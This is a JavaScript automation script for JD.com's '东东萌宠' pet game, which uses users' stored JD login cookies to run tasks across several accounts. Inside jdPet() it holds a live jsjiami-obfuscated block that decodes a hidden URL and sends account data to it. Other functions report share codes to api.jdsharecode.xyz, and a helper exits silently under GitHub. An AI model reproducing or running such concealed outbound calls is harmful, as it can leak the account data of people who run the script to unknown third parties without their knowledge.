tag=东东萌宠, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdmc.png, enabled=true + +=================================Loon=================================== +[Script] +cron "15 6-18/6 * * *" script-path=jd_pet.js,tag=东东萌宠 + +===================================Surge================================ +东东萌宠 = type=cron,cronexp="15 6-18/6 * * *",wake-system=1,timeout=3600,script-path=jd_pet.js + +====================================小火箭============================= +东东萌宠 = type=cron,script-path=jd_pet.js, cronexpr="15 6-18/6 * * *", timeout=3600, enable=true + +*/ +const $ = new Env('东东萌宠'); + +console.log('\n====================Hello World====================\n') + +let cookiesArr = [], cookie = '', jdPetShareArr = [], isBox = false, notify, newShareCodes, allMessage = ''; +//助力好友分享码(最多5个,否则后面的助力失败),原因:京东农场每人每天只有四次助力机会 +//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) +let shareCodes = [''] +let message = '', subTitle = '', option = {}; +let jdNotify = false;//是否关闭通知,false打开通知推送,true关闭通知推送 + +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let goodsUrl = '', taskInfoKey = []; +let randomCount = $.isNode() ? 20 : 5; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + message = ''; + subTitle = ''; + goodsUrl = ''; + taskInfoKey = []; + option = {}; + await shareCodesFormat(); + await jdPet(); + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +async function jdPet() { + try { + //查询jd宠物信息 + const initPetTownRes = await request('initPetTown'); + message = `【京东账号${$.index}】${$.nickName}\n`; + if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus === 0) { + // $.msg($.name, '', `【提示】京东账号${$.index}${$.nickName}\n萌宠活动未开启\n请手动去京东APP开启活动\n入口:我的->游戏与互动->查看更多开启`, { "open-url": "openapp.jdmoble://" }); + await slaveHelp();//助力好友 + $.log($.name, '', `【提示】京东账号${$.index}${$.nickName}\n萌宠活动未开启\n请手动去京东APP开启活动\n入口:我的->游戏与互动->查看更多开启`); + return + } + if (!$.petInfo.goodsInfo) { + $.msg($.name, '', `【提示】京东账号${$.index}${$.nickName}\n暂未选购新的商品`, { "open-url": "openapp.jdmoble://" }); + if ($.isNode()) await notify.sendNotify(`${$.name} - ${$.index} - ${$.nickName}`, `【提示】京东账号${$.index}${$.nickName}\n暂未选购新的商品`); + return + } + goodsUrl = $.petInfo.goodsInfo && $.petInfo.goodsInfo.goodsUrl; + // option['media-url'] = goodsUrl; + // console.log(`初始化萌宠信息完成: ${JSON.stringify(petInfo)}`); + if ($.petInfo.petStatus === 5) { + await slaveHelp();//可以兑换而没有去兑换,也能继续助力好友 + option['open-url'] = "openApp.jdMobile://"; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.petInfo.goodsInfo.goodsName}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}奖品已可领取`, `京东账号${$.index} ${$.nickName}\n${$.petInfo.goodsInfo.goodsName}已可领取`); + } + return + } else if ($.petInfo.petStatus === 6) { + await slaveHelp();//已领取红包,但未领养新的,也能继续助力好友 + option['open-url'] = "openApp.jdMobile://"; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】已领取红包,但未继续领养新的物品\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}奖品已可领取`, `京东账号${$.index} ${$.nickName}\n已领取红包,但未继续领养新的物品`); + } + return + } + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.petInfo.shareCode}\n`); + // var _0xodh='jsjiami.com.v6',_0x396a=[_0xodh,'LMK6wovCnxwNw48=','w7lRw7UsDTYAw45X','w7DDlsKd','w4rDlgJhwqvDmTYywqEtwqYjccOUwpnDrMKlw5gtVznDjsOuwrJqwonCncOPRsKww6FIDhUBw6tew4TDkk09w4LCj0VzwobDhA==','jWsdjirami.cDLwotKLmy.MNv6RPqN=='];(function(_0x2d8f05,_0x4b81bb,_0x4d74cb){var _0x32719f=function(_0x2dc776,_0x362d54,_0x2576f4,_0x5845c1,_0x4fbc7a){_0x362d54=_0x362d54>>0x8,_0x4fbc7a='po';var _0x292610='shift',_0x151bd2='push';if(_0x362d54<_0x2dc776){while(--_0x2dc776){_0x5845c1=_0x2d8f05[_0x292610]();if(_0x362d54===_0x2dc776){_0x362d54=_0x5845c1;_0x2576f4=_0x2d8f05[_0x4fbc7a+'p']();}else if(_0x362d54&&_0x2576f4['replace'](/[WdrDLwtKLyMNRPqN=]/g,'')===_0x362d54){_0x2d8f05[_0x151bd2](_0x5845c1);}}_0x2d8f05[_0x151bd2](_0x2d8f05[_0x292610]());}return 0x8edda;};return _0x32719f(++_0x4b81bb,_0x4d74cb)>>_0x4b81bb^_0x4d74cb;}(_0x396a,0xba,0xba00));var _0x8d5b=function(_0x23fcfd,_0x1360ed){_0x23fcfd=~~'0x'['concat'](_0x23fcfd);var _0x190180=_0x396a[_0x23fcfd];if(_0x8d5b['CjCIFQ']===undefined){(function(){var _0x3ca5ac=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x2c4741='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x3ca5ac['atob']||(_0x3ca5ac['atob']=function(_0x46593a){var _0x367a3c=String(_0x46593a)['replace'](/=+$/,'');for(var _0x1e13bd=0x0,_0x493323,_0xad09bd,_0x54e6b0=0x0,_0x562460='';_0xad09bd=_0x367a3c['charAt'](_0x54e6b0++);~_0xad09bd&&(_0x493323=_0x1e13bd%0x4?_0x493323*0x40+_0xad09bd:_0xad09bd,_0x1e13bd++%0x4)?_0x562460+=String['fromCharCode'](0xff&_0x493323>>(-0x2*_0x1e13bd&0x6)):0x0){_0xad09bd=_0x2c4741['indexOf'](_0xad09bd);}return _0x562460;});}());var _0x5a49a7=function(_0x2c57fa,_0x1360ed){var _0x154d33=[],_0x435b1d=0x0,_0x2d7ebf,_0x164a0d='',_0x4ad657='';_0x2c57fa=atob(_0x2c57fa);for(var _0xeed902=0x0,_0x639c8e=_0x2c57fa['length'];_0xeed902<_0x639c8e;_0xeed902++){_0x4ad657+='%'+('00'+_0x2c57fa['charCodeAt'](_0xeed902)['toString'](0x10))['slice'](-0x2);}_0x2c57fa=decodeURIComponent(_0x4ad657);for(var _0x21a896=0x0;_0x21a896<0x100;_0x21a896++){_0x154d33[_0x21a896]=_0x21a896;}for(_0x21a896=0x0;_0x21a896<0x100;_0x21a896++){_0x435b1d=(_0x435b1d+_0x154d33[_0x21a896]+_0x1360ed['charCodeAt'](_0x21a896%_0x1360ed['length']))%0x100;_0x2d7ebf=_0x154d33[_0x21a896];_0x154d33[_0x21a896]=_0x154d33[_0x435b1d];_0x154d33[_0x435b1d]=_0x2d7ebf;}_0x21a896=0x0;_0x435b1d=0x0;for(var _0xc45ee9=0x0;_0xc45ee9<_0x2c57fa['length'];_0xc45ee9++){_0x21a896=(_0x21a896+0x1)%0x100;_0x435b1d=(_0x435b1d+_0x154d33[_0x21a896])%0x100;_0x2d7ebf=_0x154d33[_0x21a896];_0x154d33[_0x21a896]=_0x154d33[_0x435b1d];_0x154d33[_0x435b1d]=_0x2d7ebf;_0x164a0d+=String['fromCharCode'](_0x2c57fa['charCodeAt'](_0xc45ee9)^_0x154d33[(_0x154d33[_0x21a896]+_0x154d33[_0x435b1d])%0x100]);}return _0x164a0d;};_0x8d5b['hJFNQG']=_0x5a49a7;_0x8d5b['NOxSxd']={};_0x8d5b['CjCIFQ']=!![];}var _0x169d9a=_0x8d5b['NOxSxd'][_0x23fcfd];if(_0x169d9a===undefined){if(_0x8d5b['exSjBF']===undefined){_0x8d5b['exSjBF']=!![];}_0x190180=_0x8d5b['hJFNQG'](_0x190180,_0x1360ed);_0x8d5b['NOxSxd'][_0x23fcfd]=_0x190180;}else{_0x190180=_0x169d9a;}return _0x190180;};$[_0x8d5b('0','9wmU')]({'url':_0x8d5b('1','k*Is')+$[_0x8d5b('2',')U)s')][_0x8d5b('3','!^6A')]});;_0xodh='jsjiami.com.v6'; + for (let k = 0; k < 5; k++) { + try { + await runTimes() + break + } catch (e) { + } + await $.wait(Math.floor(Math.random() * 10 + 3) * 1000) + } + + await taskInit(); + if ($.taskInit.resultCode === '9999' || !$.taskInit.result) { + console.log('初始化任务异常, 请稍后再试'); + return + } + $.taskInfo = $.taskInit.result; + + await petSport();//遛弯 + await slaveHelp();//助力好友 + await masterHelpInit();//获取助力的信息 + await doTask();//做日常任务 + await feedPetsAgain();//再次投食 + await energyCollect();//收集好感度 + await showMsg(); + console.log('全部任务完成, 如果帮助到您可以点下🌟STAR鼓励我一下, 明天见~'); + } else if (initPetTownRes.code === '0'){ + console.log(`初始化萌宠失败: ${initPetTownRes.message}`); + } + } catch (e) { + $.logErr(e) + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } +} + +function runTimes(){ + return new Promise((resolve, reject) => { + $.get({ + url: `https://api.jdsharecode.xyz/api/runTimes?activityId=pet&sharecode=${$.petInfo.shareCode}` + }, (err, resp, data) => { + if (err) { + console.log('上报失败', err) + reject(err) + } else { + if (data === '1' || data === '0') { + console.log('上报成功') + resolve() + } + } + }) + }) +} + +// 收取所有好感度 +async function energyCollect() { + console.log('开始收取任务奖励好感度'); + let function_id = arguments.callee.name.toString(); + const response = await request(function_id); + // console.log(`收取任务奖励好感度完成:${JSON.stringify(response)}`); + if (response.resultCode === '0') { + message += `【第${response.result.medalNum + 1}块勋章完成进度】${response.result.medalPercent}%,还需收集${response.result.needCollectEnergy}好感\n`; + message += `【已获得勋章】${response.result.medalNum}块,还需收集${response.result.needCollectMedalNum}块即可兑换奖品“${$.petInfo.goodsInfo.goodsName}”\n`; + } +} +//再次投食 +async function feedPetsAgain() { + const response = await request('initPetTown');//再次初始化萌宠 + if (response.code === '0' && response.resultCode === '0' && response.message === 'success') { + $.petInfo = response.result; + let foodAmount = $.petInfo.foodAmount; //剩余狗粮 + if (foodAmount - 100 >= 10) { + for (let i = 0; i < parseInt((foodAmount - 100) / 10); i++) { + const feedPetRes = await request('feedPets'); + console.log(`投食feedPetRes`); + if (feedPetRes.resultCode == 0 && feedPetRes.code == 0) { + console.log('投食成功') + } + } + const response2 = await request('initPetTown'); + $.petInfo = response2.result; + subTitle = $.petInfo.goodsInfo.goodsName; + // message += `【与爱宠相识】${$.petInfo.meetDays}天\n`; + // message += `【剩余狗粮】${$.petInfo.foodAmount}g\n`; + } else { + console.log("目前剩余狗粮:【" + foodAmount + "】g,不再继续投食,保留部分狗粮用于完成第二天任务"); + subTitle = $.petInfo.goodsInfo && $.petInfo.goodsInfo.goodsName; + // message += `【与爱宠相识】${$.petInfo.meetDays}天\n`; + // message += `【剩余狗粮】${$.petInfo.foodAmount}g\n`; + } + } else { + console.log(`初始化萌宠失败: ${JSON.stringify($.petInfo)}`); + } +} + + +async function doTask() { + const { signInit, threeMealInit, firstFeedInit, feedReachInit, inviteFriendsInit, browseShopsInit, taskList } = $.taskInfo; + for (let item of taskList) { + if ($.taskInfo[item].finished) { + console.log(`任务 ${item} 已完成`) + } + } + //每日签到 + if (signInit && !signInit.finished) { + await signInitFun(); + } + // 首次喂食 + if (firstFeedInit && !firstFeedInit.finished) { + await firstFeedInitFun(); + } + // 三餐 + if (threeMealInit && !threeMealInit.finished) { + if (threeMealInit.timeRange === -1) { + console.log(`未到三餐时间`); + } else { + await threeMealInitFun(); + } + } + if (browseShopsInit && !browseShopsInit.finished) { + await browseShopsInitFun(); + } + let browseSingleShopInitList = []; + taskList.map((item) => { + if (item.indexOf('browseSingleShopInit') > -1) { + browseSingleShopInitList.push(item); + } + }); + // 去逛逛好货会场 + for (let item of browseSingleShopInitList) { + const browseSingleShopInitTask = $.taskInfo[item]; + if (browseSingleShopInitTask && !browseSingleShopInitTask.finished) { + await browseSingleShopInit(browseSingleShopInitTask); + } + } + if (inviteFriendsInit && !inviteFriendsInit.finished) { + await inviteFriendsInitFun(); + } + // 投食10次 + if (feedReachInit && !feedReachInit.finished) { + await feedReachInitFun(); + } +} +// 好友助力信息 +async function masterHelpInit() { + let res = await request(arguments.callee.name.toString()); + // console.log(`助力信息: ${JSON.stringify(res)}`); + if (res.code === '0' && res.resultCode === '0') { + if (res.result.masterHelpPeoples && res.result.masterHelpPeoples.length >= 5) { + if(!res.result.addedBonusFlag) { + console.log("开始领取额外奖励"); + let getHelpAddedBonusResult = await request('getHelpAddedBonus'); + if (getHelpAddedBonusResult.resultCode === '0') { + message += `【额外奖励${getHelpAddedBonusResult.result.reward}领取】${getHelpAddedBonusResult.message}\n`; + } + console.log(`领取30g额外奖励结果:【${getHelpAddedBonusResult.message}】`); + } else { + console.log("已经领取过5好友助力额外奖励"); + message += `【额外奖励】已领取\n`; + } + } else { + console.log("助力好友未达到5个") + message += `【额外奖励】领取失败,原因:给您助力的人未达5个\n`; + } + if (res.result.masterHelpPeoples && res.result.masterHelpPeoples.length > 0) { + console.log('帮您助力的好友的名单开始') + let str = ''; + res.result.masterHelpPeoples.map((item, index) => { + if (index === (res.result.masterHelpPeoples.length - 1)) { + str += item.nickName || "匿名用户"; + } else { + str += (item.nickName || "匿名用户") + ','; + } + }) + message += `【助力您的好友】${str}\n`; + } + } +} +/** + * 助力好友, 暂时支持一个好友, 需要拿到shareCode + * shareCode为你要助力的好友的 + * 运行脚本时你自己的shareCode会在控制台输出, 可以将其分享给他人 + */ +async function slaveHelp() { + //$.log(`\n因1.6日好友助力功能下线。故暂时屏蔽\n`) + //return + let helpPeoples = ''; + for (let code of newShareCodes) { + console.log(`开始助力京东账号${$.index} - ${$.nickName}的好友: ${code}`); + if (!code) continue; + let response = await request(arguments.callee.name.toString(), {'shareCode': code}); + if (response.code === '0' && response.resultCode === '0') { + if (response.result.helpStatus === 0) { + console.log('已给好友: 【' + response.result.masterNickName + '】助力成功'); + helpPeoples += response.result.masterNickName + ','; + } else if (response.result.helpStatus === 1) { + // 您今日已无助力机会 + console.log(`助力好友${response.result.masterNickName}失败,您今日已无助力机会`); + break; + } else if (response.result.helpStatus === 2) { + //该好友已满5人助力,无需您再次助力 + console.log(`该好友${response.result.masterNickName}已满5人助力,无需您再次助力`); + } else { + console.log(`助力其他情况:${JSON.stringify(response)}`); + } + } else { + console.log(`助力好友结果: ${response.message}`); + } + } + if (helpPeoples && helpPeoples.length > 0) { + message += `【您助力的好友】${helpPeoples.substr(0, helpPeoples.length - 1)}\n`; + } +} +// 遛狗, 每天次数上限10次, 随机给狗粮, 每次遛狗结束需调用getSportReward领取奖励, 才能进行下一次遛狗 +async function petSport() { + console.log('开始遛弯'); + let times = 1 + const code = 0 + let resultCode = 0 + do { + let response = await request(arguments.callee.name.toString()) + console.log(`第${times}次遛狗完成: ${JSON.stringify(response)}`); + resultCode = response.resultCode; + if (resultCode == 0) { + let sportRevardResult = await request('getSportReward'); + console.log(`领取遛狗奖励完成: ${JSON.stringify(sportRevardResult)}`); + } + times++; + } while (resultCode == 0 && code == 0) + if (times > 1) { + // message += '【十次遛狗】已完成\n'; + } +} +// 初始化任务, 可查询任务完成情况 +async function taskInit() { + console.log('开始任务初始化'); + $.taskInit = await request(arguments.callee.name.toString(), {"version":1}); +} +// 每日签到, 每天一次 +async function signInitFun() { + console.log('准备每日签到'); + const response = await request("getSignReward"); + console.log(`每日签到结果: ${JSON.stringify(response)}`); + if (response.code === '0' && response.resultCode === '0') { + console.log(`【每日签到成功】奖励${response.result.signReward}g狗粮\n`); + // message += `【每日签到成功】奖励${response.result.signReward}g狗粮\n`; + } else { + console.log(`【每日签到】${response.message}\n`); + // message += `【每日签到】${response.message}\n`; + } +} + +// 三餐签到, 每天三段签到时间 +async function threeMealInitFun() { + console.log('准备三餐签到'); + const response = await request("getThreeMealReward"); + console.log(`三餐签到结果: ${JSON.stringify(response)}`); + if (response.code === '0' && response.resultCode === '0') { + console.log(`【定时领狗粮】获得${response.result.threeMealReward}g\n`); + // message += `【定时领狗粮】获得${response.result.threeMealReward}g\n`; + } else { + console.log(`【定时领狗粮】${response.message}\n`); + // message += `【定时领狗粮】${response.message}\n`; + } +} + +// 浏览指定店铺 任务 +async function browseSingleShopInit(item) { + console.log(`开始做 ${item.title} 任务, ${item.desc}`); + const body = {"index": item['index'], "version":1, "type":1}; + const body2 = {"index": item['index'], "version":1, "type":2}; + const response = await request("getSingleShopReward", body); + // console.log(`点击进去response::${JSON.stringify(response)}`); + if (response.code === '0' && response.resultCode === '0') { + const response2 = await request("getSingleShopReward", body2); + // console.log(`浏览完毕领取奖励:response2::${JSON.stringify(response2)}`); + if (response2.code === '0' && response2.resultCode === '0') { + console.log(`【浏览指定店铺】获取${response2.result.reward}g\n`); + // message += `【浏览指定店铺】获取${response2.result.reward}g\n`; + } + } +} + +// 浏览店铺任务, 任务可能为多个? 目前只有一个 +async function browseShopsInitFun() { + console.log('开始浏览店铺任务'); + let times = 0; + let resultCode = 0; + let code = 0; + do { + let response = await request("getBrowseShopsReward"); + console.log(`第${times}次浏览店铺结果: ${JSON.stringify(response)}`); + code = response.code; + resultCode = response.resultCode; + times++; + } while (resultCode == 0 && code == 0 && times < 5) + console.log('浏览店铺任务结束'); +} +// 首次投食 任务 +function firstFeedInitFun() { + console.log('首次投食任务合并到10次喂食任务中\n'); +} + +// 邀请新用户 +async function inviteFriendsInitFun() { + console.log('邀请新用户功能未实现'); + if ($.taskInfo.inviteFriendsInit.status == 1 && $.taskInfo.inviteFriendsInit.inviteFriendsNum > 0) { + // 如果有邀请过新用户,自动领取60gg奖励 + const res = await request('getInviteFriendsReward'); + if (res.code == 0 && res.resultCode == 0) { + console.log(`领取邀请新用户奖励成功,获得狗粮现有狗粮${$.taskInfo.inviteFriendsInit.reward}g,${res.result.foodAmount}g`); + message += `【邀请新用户】获取狗粮${$.taskInfo.inviteFriendsInit.reward}g\n`; + } + } +} + +/** + * 投食10次 任务 + */ +async function feedReachInitFun() { + console.log('投食任务开始...'); + let finishedTimes = $.taskInfo.feedReachInit.hadFeedAmount / 10; //已经喂养了几次 + let needFeedTimes = 10 - finishedTimes; //还需要几次 + let tryTimes = 20; //尝试次数 + do { + console.log(`还需要投食${needFeedTimes}次`); + const response = await request('feedPets'); + console.log(`本次投食结果: ${JSON.stringify(response)}`); + if (response.resultCode == 0 && response.code == 0) { + needFeedTimes--; + } + if (response.resultCode == 3003 && response.code == 0) { + console.log('剩余狗粮不足, 投食结束'); + needFeedTimes = 0; + } + tryTimes--; + } while (needFeedTimes > 0 && tryTimes > 0) + console.log('投食任务结束...\n'); +} +async function showMsg() { + if ($.isNode() && process.env.PET_NOTIFY_CONTROL) { + $.ctrTemp = `${process.env.PET_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdPetNotify')) { + $.ctrTemp = $.getdata('jdPetNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + // jdNotify = `${notify.petNotifyControl}` === 'false' && `${jdNotify}` === 'false' && $.getdata('jdPetNotify') === 'false'; + if ($.ctrTemp) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}` + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); + } + } else { + $.log(`\n${message}\n`); + } +} +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `https://api.jdsharecode.xyz/api/pet/${randomCount}`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); + newShareCodes = shareCodes[tempIndex].split('@'); + } + //因好友助力功能下线。故暂时屏蔽 + const readShareCodeRes = await readShareCode(); + //const readShareCodeRes = null; + if (readShareCodeRes && readShareCodeRes.code === 200) { + newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取东东萌宠配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + const jdPetShareCodes = $.isNode() ? require('./jdPetShareCodes.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(jdPetShareCodes).forEach((item) => { + if (jdPetShareCodes[item]) { + $.shareCodesArr.push(jdPetShareCodes[item]) + } + }) + } else { + if ($.getdata('jd_pet_inviter')) $.shareCodesArr = $.getdata('jd_pet_inviter').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_pet_inviter') ? $.getdata('jd_pet_inviter') : '暂无'}\n`); + } + // console.log(`$.shareCodesArr::${JSON.stringify($.shareCodesArr)}`) + // console.log(`jdPetShareArr账号长度::${$.shareCodesArr.length}`) + console.log(`您提供了${$.shareCodesArr.length}个账号的东东萌宠助力码\n`); + resolve() + }) +} +// 请求 +async function request(function_id, body = {}) { + await $.wait(3000); //歇口气儿, 不然会报操作频繁 + return new Promise((resolve, reject) => { + $.post(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东萌宠: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data) + } + }) + }) +} +// function taskUrl(function_id, body = {}) { +// return { +// url: `${JD_API_HOST}?functionId=${function_id}&appid=wh5&loginWQBiz=pet-town&body=${escape(JSON.stringify(body))}`, +// headers: { +// Cookie: cookie, +// UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), +// } +// }; +// } +function taskUrl(function_id, body = {}) { + body["version"] = 2; + body["channel"] = 'app'; + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: `body=${escape(JSON.stringify(body))}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, + headers: { + 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + } + }; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return 